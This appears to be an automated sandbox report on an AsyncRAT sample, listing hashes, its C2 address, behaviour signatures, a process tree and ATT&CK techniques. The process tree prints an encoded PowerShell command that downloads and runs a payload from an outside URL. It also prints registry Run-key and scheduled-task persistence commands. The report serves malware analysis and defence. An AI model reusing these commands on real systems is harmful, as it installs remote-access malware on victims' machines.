Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-12-2022 21:05

General

  • Target

    1.exe

  • Size

    5KB

  • MD5

    0afa034595bdcf7b9b990b083910f7a5

  • SHA1

    9c9d01227016d43458c7567612a64f88df84c787

  • SHA256

    c6dd505d02069b6b0452f51c165db53fbb6b80b4b48de19c083ab22ef98b2158

  • SHA512

    4753057e45f2f03f9cab56f3b7864d2d3455f2549ebb7e6c9fcc8680f8a9e38568026e72694cebf288f3e63fc180b08e5d0fad0f3b1a74e5dc88612d4db6544a

  • SSDEEP

    96:RF79kEll3VI29zS6hENISXX8z/n3xuscvHd3ojbrl:79kE/332NISH8z/n3QXHd0

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes
  • delay

    3

  • install

    false

  • install_file

    System Guard Runtime

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1.exe
    "C:\Users\Admin\AppData\Local\Temp\1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANgA2ADUAMwAxADYANAAwADgAOAAxADMAOQA4ADEANwAvADEAMAA1ADYANgA1ADMANwAxADQAMQAzADcANQA1ADUAMAAwADQALwBDAFIALgBlAHgAZQAnACwAIAA8ACMAbgBsAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHcAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAHIAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApACkAPAAjAGcAZABoACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHoAbABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGYAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwB6AGgAdgAjAD4A"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Users\Admin\AppData\Roaming\1.exe
        "C:\Users\Admin\AppData\Roaming\1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:340
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4612
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1280
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:4240
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          #cmd
          4⤵
            PID:4316

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      33e9dd1bc41e70c4fbdf04b85cf36ff4

      SHA1

      0433625fae735abc2f11249456e212dfca1473a9

      SHA256

      f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9

      SHA512

      d74083d2f0e7fe21db55c7c0bc880dd2d1fe92ca806c79f77ec0bbc7d2ae5fd1d3509d2ebd0fa60efbab0688711902b7a1da6419aba94a0897810ccf6d9957df

    • C:\Users\Admin\AppData\Roaming\1.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • C:\Users\Admin\AppData\Roaming\1.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • memory/340-142-0x0000000005420000-0x00000000059C4000-memory.dmp
      Filesize

      5.6MB

    • memory/340-141-0x0000000000590000-0x00000000005AC000-memory.dmp
      Filesize

      112KB

    • memory/340-137-0x0000000000000000-mapping.dmp
    • memory/1280-144-0x0000000000000000-mapping.dmp
    • memory/2976-136-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
      Filesize

      10.8MB

    • memory/2976-140-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
      Filesize

      10.8MB

    • memory/2976-135-0x000002182D100000-0x000002182D122000-memory.dmp
      Filesize

      136KB

    • memory/2976-133-0x0000000000000000-mapping.dmp
    • memory/4240-145-0x0000000000000000-mapping.dmp
    • memory/4284-132-0x00000000003B0000-0x00000000003B8000-memory.dmp
      Filesize

      32KB

    • memory/4284-134-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
      Filesize

      10.8MB

    • memory/4316-148-0x0000000000400000-0x0000000000412000-memory.dmp
      Filesize

      72KB

    • memory/4316-147-0x0000000000000000-mapping.dmp
    • memory/4612-149-0x0000000004D10000-0x0000000005338000-memory.dmp
      Filesize

      6.2MB

    • memory/4612-157-0x0000000006000000-0x000000000601E000-memory.dmp
      Filesize

      120KB

    • memory/4612-150-0x0000000004A10000-0x0000000004A32000-memory.dmp
      Filesize

      136KB

    • memory/4612-151-0x0000000004BC0000-0x0000000004C26000-memory.dmp
      Filesize

      408KB

    • memory/4612-152-0x0000000004C30000-0x0000000004C96000-memory.dmp
      Filesize

      408KB

    • memory/4612-143-0x0000000000000000-mapping.dmp
    • memory/4612-154-0x0000000005A50000-0x0000000005A6E000-memory.dmp
      Filesize

      120KB

    • memory/4612-155-0x0000000006C30000-0x0000000006C62000-memory.dmp
      Filesize

      200KB

    • memory/4612-156-0x0000000070390000-0x00000000703DC000-memory.dmp
      Filesize

      304KB

    • memory/4612-146-0x00000000020D0000-0x0000000002106000-memory.dmp
      Filesize

      216KB

    • memory/4612-158-0x00000000073B0000-0x0000000007A2A000-memory.dmp
      Filesize

      6.5MB

    • memory/4612-159-0x0000000006D60000-0x0000000006D7A000-memory.dmp
      Filesize

      104KB

    • memory/4612-160-0x0000000006DD0000-0x0000000006DDA000-memory.dmp
      Filesize

      40KB

    • memory/4612-161-0x0000000006FE0000-0x0000000007076000-memory.dmp
      Filesize

      600KB

    • memory/4612-162-0x0000000006F90000-0x0000000006F9E000-memory.dmp
      Filesize

      56KB

    • memory/4612-163-0x00000000070A0000-0x00000000070BA000-memory.dmp
      Filesize

      104KB

    • memory/4612-164-0x0000000007080000-0x0000000007088000-memory.dmp
      Filesize

      32KB

    • memory/4612-165-0x00000000070C0000-0x00000000070E2000-memory.dmp
      Filesize

      136KB